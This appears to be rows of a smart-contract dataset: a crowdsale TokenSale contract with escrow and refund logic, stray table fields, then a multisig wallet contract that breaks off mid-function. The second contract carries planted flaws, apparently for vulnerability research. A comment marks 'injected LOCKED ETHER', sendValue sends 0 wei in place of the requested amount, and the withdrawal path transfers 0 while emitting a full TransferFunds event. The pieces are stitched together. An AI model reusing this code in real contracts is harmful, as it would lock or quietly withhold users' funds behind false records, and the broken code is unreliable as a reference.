* @title PostDeliveryCrowdsale
* @dev Crowdsale that locks tokens from withdrawal until it ends.
*/
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) public balances;
/**
* @dev Withdraw tokens only after crowdsale ends.
*/
function withdrawTokens() public {
require(hasClosed());
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0;
_deliverTokens(msg.sender, amount);
}
/**
* @dev Overrides parent by storing balances instead of issuing tokens right away.
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
/**
* @title Escrow
* @dev Base escrow contract, holds funds destinated to a payee until they
* withdraw them. The contract that uses the escrow as its payment method
* should be its owner, and provide public methods redirecting to the escrow's
* deposit and withdraw.
*/
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
/**
* @dev Stores the sent amount as credit to be withdrawn.
* @param _payee The destination address of the funds.
*/
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
/**
* @dev Withdraw accumulated balance for a payee.
* @param _payee The address whose funds will be withdrawn and transferred to.
*/
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
/**
* @title ConditionalEscrow
* @dev Base abstract escrow to only allow withdrawal if a condition is met.
*/
contract ConditionalEscrow is Escrow {
/**
* @dev Returns whether an address is allowed to withdraw their funds. To be
* implemented by derived contracts.
* @param _payee The destination address of the funds.
*/
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
/**
* @title RefundEscrow
* @dev Escrow that holds funds for a beneficiary, deposited from multiple parties.
* The contract owner may close the deposit period, and allow for either withdrawal
* by the beneficiary, or refunds to the depositors.
*/
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
/**
* @dev Constructor.
* @param _beneficiary The beneficiary of the deposits.
*/
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
/**
* @dev Stores funds that may later be refunded.
* @param _refundee The address funds will be sent to if a refund occurs.
*/
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
/**
* @dev Allows for the beneficiary to withdraw their funds, rejecting
* further deposits.
*/
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
/**
* @dev Allows for refunds to take place, rejecting further deposits.
*/
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
/**
* @dev Withdraws the beneficiary's funds.
*/
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
/**
* @dev Returns whether refundees can withdraw their deposits (be refunded).
*/
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
/**
* @title RefundableCrowdsale
* @dev Extension of Crowdsale contract that adds a funding goal, and
* the possibility of users getting a refund if goal is not met.
*/
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
// minimum amount of funds to be raised in weis
uint256 public goal;
// refund escrow used to hold funds while crowdsale is running
RefundEscrow private escrow;
/**
* @dev Constructor, creates RefundEscrow.
* @param _goal Funding goal
*/
constructor(uint256 _goal) public {
require(_goal > 0);
escrow = new RefundEscrow(wallet);
goal = _goal;
}
/**
* @dev Investors can claim refunds here if crowdsale is unsuccessful
*/
function claimRefund() public {
require(isFinalized);
require(!goalReached());
escrow.withdraw(msg.sender);
}
/**
* @dev Checks whether funding goal was reached.
* @return Whether funding goal was reached
*/
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
/**
* @dev escrow finalization task, called when owner calls finalize()
*/
function finalization() internal {
if (goalReached()) {
escrow.close();
escrow.beneficiaryWithdraw();
} else {
escrow.enableRefunds();
}
super.finalization();
}
/**
* @dev Overrides Crowdsale fund forwarding, sending funds to escrow.
*/
function _forwardFunds() internal {
escrow.deposit.value(msg.value)(msg.sender);
}
}
contract MedianizerInterface {
function read() public view returns (bytes32);
}
contract WhitelistInterface {
function checkRole(address _operator, string _role) public view;
function hasRole(address _operator, string _role) public view returns (bool);
}
contract WhitelistProxyInterface {
function whitelist() public view returns (WhitelistInterface);
}
/**
* @title TokenSale
* @dev Distribute tokens to investors in exchange for Ether.
*
* This is the primary mechanism for outright sales of commercial investment properties (and blockimmo's STO, where shares
* of our company are represented as `TokenizedProperty`) (official pending FINMA approval).
*
* Selling:
* 1. Deploy `TokenizedProperty`. Initially all tokens and ownership of this property will be assigned to the 'deployer'
* 2. Deploy `ShareholderDAO` and transfer the property's (1) ownership to it
* 3. Configure and deploy a `TokenSale`
* - After completing (1, 2, 3) blockimmo will verify the property as legitimate in `LandRegistry`
* - blockimmo will then authorize `this` to the `Whitelist` before seller can proceed to (4)
* 4. Transfer tokens of `TokenizedProperty` (1) to be sold to `this` (3)
* 5. Investors are able to buy tokens while the sale is open. 'Deployer' calls `finalize` to complete the sale
*
* Note: blockimmo will be responsible for managing initial sales on our platform. This means we will be configuring
* and deploying all contracts for sellers. This provides an extra layer of control/security until we've refined
* these processes and proven them in the real-world.
* Later sales will use SplitPayment contracts to route funds, with examples in the tests.
*
* Unsold tokens (of a successful sale) are redistributed proportionally to investors via Airdrop, as described in:
* https://medium.com/FundFantasy/airdropping-vs-burning-part-1-613a9c6ebf1c
*
* If a sale's soft-cap is not reached (and the seller does not `accept` a lower price), investors will be refunded Ether and the seller refunded tokens.
*
* For stable token sales (soft and hard-cap in USD instead of Wei), we rely on MakerDAO's on-chain ETH/USD conversion rate
* https://developer.makerdao.com/feeds/
* This approach to mitigating Ether volatility seems to best when analyzing trade-offs, short of selling directly in FIAT.
*/
contract TokenSale is RefundableCrowdsale, PostDeliveryCrowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public constant MEDIANIZER_ADDRESS = 0x729D19f657BD0614b4985Cf1D82531c67569197B; // 0x0f5ea0a652e851678ebf77b69484bfcd31f9459b;
address public constant WHITELIST_PROXY_ADDRESS = 0x7223b032180CDb06Be7a3D634B1E10032111F367; // 0xc4c7497fbe1a886841a195a5d622cd60053c1376;
MedianizerInterface private medianizer = MedianizerInterface(MEDIANIZER_ADDRESS);
WhitelistProxyInterface private whitelistProxy = WhitelistProxyInterface(WHITELIST_PROXY_ADDRESS);
uint256 public cap;
bool public goalReachedOnFinalize;
uint256 public totalTokens;
uint256 public totalTokensSold = 0;
bool public usd;
mapping(address => uint256) public usdInvestment;
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
ERC20 _token,
uint256 _goal,
bool _usd // if true, both `goal` and `cap` are in units of USD. if false, in ETH
)
public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
PostDeliveryCrowdsale()
{
require(_cap > 0, "cap is not > 0");
require(_goal < _cap, "goal is not < cap");
cap = _cap;
usd = _usd;
}
function capReached() public view returns (bool) {
return _reached(cap);
}
function goalReached() public view returns (bool) {
if (isFinalized) {
return goalReachedOnFinalize;
} else {
return _reached(goal);
}
}
function withdrawTokens() public { // airdrop remaining tokens to investors proportionally
uint256 extra = totalTokens.sub(totalTokensSold).mul(balances[msg.sender]) / totalTokensSold;
balances[msg.sender] = balances[msg.sender].add(extra);
super.withdrawTokens();
}
function finalization() internal { // ether refunds enabled for investors, refund tokens to seller
totalTokens = token.balanceOf(address(this));
goalReachedOnFinalize = goalReached();
if (!goalReachedOnFinalize) {
token.safeTransfer(owner, totalTokens);
}
super.finalization();
}
function _getUsdAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 usdPerEth = uint256(medianizer.read());
return _weiAmount.mul(usdPerEth).div(1e18).div(1e18);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_weiAmount >= 1e18);
super._preValidatePurchase(_beneficiary, _weiAmount);
WhitelistInterface whitelist = whitelistProxy.whitelist();
usdInvestment[_beneficiary] = usdInvestment[_beneficiary].add(_getUsdAmount(_weiAmount));
if (!whitelist.hasRole(_beneficiary, "uncapped")) {
require(usdInvestment[_beneficiary] <= 100000);
whitelist.checkRole(_beneficiary, "authorized");
}
if (usd) {
require(_getUsdAmount(weiRaised.add(_weiAmount)) <= cap, "usd raised must not exceed cap");
} else {
require(weiRaised.add(_weiAmount) <= cap, "wei raised must not exceed cap");
}
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
totalTokensSold = totalTokensSold.add(_tokenAmount);
require(totalTokensSold <= token.balanceOf(address(this)), "totalTokensSold raised must not exceed balanceOf `this`");
super._processPurchase(_beneficiary, _tokenAmount);
}
function _reached(uint256 _target) internal view returns (bool) {
if (usd) {
return _getUsdAmount(weiRaised) >= _target;
} else {
return weiRaised >= _target;
}
}
}
|
0x0f5ea0a652e851678ebf77b69484bfcd31f9459b;
|
address public constant MEDIANIZER_ADDRESS = 0x729D19f657BD0614b4985Cf1D82531c67569197B;
| 11,843,358
|
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/**
*Submitted for verification at Etherscan.io on 2020-07-09
*/
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(0)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract MultiSigWallet {
using Address for address;
using SafeERC20 for IERC20;
using SafeMath for uint256;
modifier isOwner{
require(owner == msg.sender, "Only owner can execute it");
_;
}
modifier isManager{
require(managers[msg.sender] == 1, "Only manager can execute it");
_;
}
// 1111
struct TxWithdraw {
uint8 e;
address payable to;
uint256 amount;
bool isERC20;
address ERC20;
Signature signature;
}
// 1111111
struct TxManagerChange {
uint8 e;
address[] adds;
address[] removes;
Signature signature;
}
// 111111
struct TxUpgrade {
uint8 e;
Signature signature;
}
struct Signature {
uint8 signatureCount;
address[] signed;
mapping(address => uint8) signatures;
}
struct Validator {
uint8 e;
mapping(address => uint8) addsMap;
mapping(address => uint8) removesMap;
}
bool public upgrade = false;
// 1111111
uint public max_managers = 15;
// 111111 66%
uint public rate = 66;
// 1111
uint constant DENOMINATOR = 100;
string constant UPDATE_SEED_MANAGERS = "updateSeedManagers";
// 1111111111111
uint8 public current_withdraw_min_signatures;
address public owner;
mapping(address => uint8) private seedManagers;
address[] public seedManagerArray;
mapping(address => uint8) private managers;
address[] private managerArray;
mapping(string => TxWithdraw) private pendingTxWithdraws;
mapping(string => TxManagerChange) private pendingTxManagerChanges;
mapping(string => TxUpgrade) private pendingTxUpgrade;
uint public pendingChangeCount = 0;
mapping(string => uint8) private completedTxs;
mapping(string => Validator) private validatorManager;
constructor(address[] memory _managers) public{
require(_managers.length <= max_managers, "Exceeded the maximum number of managers");
owner = msg.sender;
managerArray = _managers;
for (uint8 i = 0; i < managerArray.length; i++) {
managers[managerArray[i]] = 1;
seedManagers[managerArray[i]] = 1;
seedManagerArray.push(managerArray[i]);
}
require(managers[owner] == 0, "Contract creator cannot act as manager");
// 111111111111111
current_withdraw_min_signatures = calMinSignatures(managerArray.length);
}
function() external payable { //injected LOCKED ETHER
emit DepositFunds(msg.sender, msg.value);
}
function createOrSignWithdraw(string memory txKey, address payable to, uint256 amount, bool isERC20, address ERC20) public isManager {
require(to != address(0), "Withdraw: transfer to the zero address");
require(amount > 0, "Withdrawal amount must be greater than 0");
// 111111111
require(completedTxs[txKey] == 0, "Transaction has been completed");
// 111111111111
if (pendingTxWithdraws[txKey].e != 0) {
signTx(txKey);
return;
}
if (isERC20) {
validateTransferERC20(ERC20, to, amount);
} else {
require(address(this).balance >= amount, "This contract address does not have sufficient balance of ether");
}
TxWithdraw memory tx1;
pendingTxWithdraws[txKey] = tx1;
TxWithdraw storage _tx = pendingTxWithdraws[txKey];
_tx.e = 1;
_tx.to = to;
_tx.amount = amount;
_tx.isERC20 = isERC20;
_tx.ERC20 = ERC20;
_tx.signature.signatureCount = 1;
_tx.signature.signed.push(msg.sender);
_tx.signature.signatures[msg.sender] = 1;
}
function signTx(string memory txKey) internal {
TxWithdraw storage tx1 = pendingTxWithdraws[txKey];
bool canWithdraw = isCompleteSign(tx1.signature, current_withdraw_min_signatures, 0);
if (canWithdraw) {
address[] memory signers = getSigners(tx1.signature);
if (tx1.isERC20) {
transferERC20(tx1.ERC20, tx1.to, tx1.amount);
} else {
// 1111
uint transferAmount = tx1.amount;
require(address(this).balance >= transferAmount, "This contract address does not have sufficient balance of ether");
tx1.to.transfer(0);
emit TransferFunds(tx1.to, transferAmount);
}
emit TxWithdrawCompleted(signers, txKey);
// 111111
deletePendingTx(txKey, tx1.e, 1);
}
}
function createOrSignManagerChange(string memory txKey, address[] memory adds, address[] memory removes, uint8 count) public isManager {
require(adds.length > 0 || removes.length > 0, "There are no managers joining or exiting");
// 111111111
require(completedTxs[txKey] == 0, "Transaction has been completed");
// 111111111111
if (pendingTxManagerChanges[txKey].e != 0) {
signTxManagerChange(txKey);
return;
}
preValidateAddsAndRemoves(txKey, adds, removes, false);
TxManagerChange memory tx1;
pendingTxManagerChanges[txKey] = tx1;
TxManagerChange storage _tx = pendingTxManagerChanges[txKey];
if (count == 0) {
count = 1;
}
_tx.e = count;
_tx.adds = adds;
_tx.removes = removes;
_tx.signature.signed.push(msg.sender);
_tx.signature.signatures[msg.sender] = 1;
_tx.signature.signatureCount = 1;
pendingChangeCount++;
}
function signTxManagerChange(string memory txKey) internal {
TxManagerChange storage tx1 = pendingTxManagerChanges[txKey];
address[] memory removes = tx1.removes;
uint removeLengh = removes.length;
if(removeLengh > 0) {
for (uint i = 0; i < removeLengh; i++) {
if (removes[i] == msg.sender) {
revert("Exiting manager cannot participate in manager change transactions");
}
}
}
bool canChange = isCompleteSign(tx1.signature, 0, removeLengh);
if (canChange) {
// 11111
removeManager(tx1.removes, false);
addManager(tx1.adds, false);
// 11111111111111
current_withdraw_min_signatures = calMinSignatures(managerArray.length);
pendingChangeCount--;
address[] memory signers = getSigners(tx1.signature);
// add managerChange event
emit TxManagerChangeCompleted(signers, txKey);
// 111111
deletePendingTx(txKey, tx1.e, 2);
}
}
function createOrSignUpgrade(string memory txKey) public isManager {
// 111111111
require(completedTxs[txKey] == 0, "Transaction has been completed");
// 111111111111
if (pendingTxUpgrade[txKey].e != 0) {
signTxUpgrade(txKey);
return;
}
TxUpgrade memory tx1;
pendingTxUpgrade[txKey] = tx1;
TxUpgrade storage _tx = pendingTxUpgrade[txKey];
_tx.e = 1;
_tx.signature.signed.push(msg.sender);
_tx.signature.signatures[msg.sender] = 1;
_tx.signature.signatureCount = 1;
}
function signTxUpgrade(string memory txKey) internal {
TxUpgrade storage tx1 = pendingTxUpgrade[txKey];
bool canUpgrade= isCompleteSign(tx1.signature, current_withdraw_min_signatures, 0);
if (canUpgrade) {
// 11111
upgrade = true;
address[] memory signers = getSigners(tx1.signature);
// add managerChange event
emit TxUpgradeCompleted(signers, txKey);
// 111111
deletePendingTx(txKey, tx1.e, 3);
}
}
function isCompleteSign(Signature storage signature, uint8 min_signatures, uint removeLengh) internal returns (bool){
bool complete = false;
// 11111111
signature.signatureCount = calValidSignatureCount(signature);
if (min_signatures == 0) {
min_signatures = calMinSignatures(managerArray.length - removeLengh);
}
if (signature.signatureCount >= min_signatures) {
complete = true;
}
if (!complete) {
require(signature.signatures[msg.sender] == 0, "Duplicate signature");
signature.signed.push(msg.sender);
signature.signatures[msg.sender] = 1;
signature.signatureCount++;
if (signature.signatureCount >= min_signatures) {
complete = true;
}
}
return complete;
}
function calValidSignatureCount(Signature storage signature) internal returns (uint8){
// 1111111111111111
uint8 count = 0;
uint len = signature.signed.length;
for (uint i = 0; i < len; i++) {
if (managers[signature.signed[i]] > 0) {
count++;
} else {
delete signature.signatures[signature.signed[i]];
}
}
return count;
}
function getSigners(Signature storage signature) internal returns (address[] memory){
address[] memory signers = new address[](signature.signatureCount);
// 111111111111111
uint len = managerArray.length;
uint k = 0;
for (uint i = 0; i < len; i++) {
if (signature.signatures[managerArray[i]] > 0) {
signers[k++] = managerArray[i];
delete signature.signatures[managerArray[i]];
}
}
return signers;
}
function preValidateAddsAndRemoves(string memory txKey, address[] memory adds, address[] memory removes, bool _isOwner) internal {
Validator memory _validator;
validatorManager[txKey] = _validator;
// 11adds
mapping(address => uint8) storage validateAdds = validatorManager[txKey].addsMap;
uint addLen = adds.length;
for (uint i = 0; i < addLen; i++) {
address add = adds[i];
require(managers[add] == 0, "The address list that is being added already exists as a manager");
require(validateAdds[add] == 0, "Duplicate parameters for the address to join");
validateAdds[add] = 1;
}
require(validateAdds[owner] == 0, "Contract creator cannot act as manager");
// 11removes
mapping(address => uint8) storage validateRemoves = validatorManager[txKey].removesMap;
uint removeLen = removes.length;
for (uint i = 0; i < removeLen; i++) {
address remove = removes[i];
require(_isOwner || seedManagers[remove] == 0, "Can't exit seed manager");
require(!_isOwner || seedManagers[remove] == 1, "Can only exit the seed manager");
require(managers[remove] == 1, "There are addresses in the exiting address list that are not manager");
require(validateRemoves[remove] == 0, "Duplicate parameters for the address to exit");
validateRemoves[remove] = 1;
}
require(validateRemoves[msg.sender] == 0, "Exiting manager cannot participate in manager change transactions");
require(managerArray.length + addLen - removeLen <= max_managers, "Exceeded the maximum number of managers");
clearValidatorManager(txKey, adds, removes);
}
function clearValidatorManager(string memory txKey, address[] memory adds, address[] memory removes) internal {
uint addLen = adds.length;
if(addLen > 0) {
mapping(address => uint8) storage validateAdds = validatorManager[txKey].addsMap;
for (uint i = 0; i < addLen; i++) {
delete validateAdds[adds[i]];
}
}
uint removeLen = removes.length;
if(removeLen > 0) {
mapping(address => uint8) storage validateRemoves = validatorManager[txKey].removesMap;
for (uint i = 0; i < removeLen; i++) {
delete validateRemoves[removes[i]];
}
}
delete validatorManager[txKey];
}
function updateSeedManagers(address[] memory adds, address[] memory removes) public isOwner {
require(adds.length > 0 || removes.length > 0, "There are no managers joining or exiting");
preValidateAddsAndRemoves(UPDATE_SEED_MANAGERS, adds, removes, true);
// 11111
removeManager(removes, true);
addManager(adds, true);
// 11111111111111
current_withdraw_min_signatures = calMinSignatures(managerArray.length);
// add managerChange event
emit TxManagerChangeCompleted(new address[](0), UPDATE_SEED_MANAGERS);
}
function updateMaxManagers(uint _max_managers) public isOwner {
max_managers = _max_managers;
}
/*
11 `111111111` 1 `111111` 1111111111111
*/
function calMinSignatures(uint managerCounts) internal view returns (uint8) {
if (managerCounts == 0) {
return 0;
}
uint numerator = rate * managerCounts + DENOMINATOR - 1;
return uint8(numerator / DENOMINATOR);
}
function removeManager(address[] memory removes, bool _isSeed) internal {
if (removes.length == 0) {
return;
}
for (uint i = 0; i < removes.length; i++) {
address remove = removes[i];
managers[remove] = 0;
if (_isSeed) {
seedManagers[remove] = 0;
}
}
uint newLength = managerArray.length - removes.length;
address[] memory tempManagers = new address[](newLength);
// 1111111111
uint k = 0;
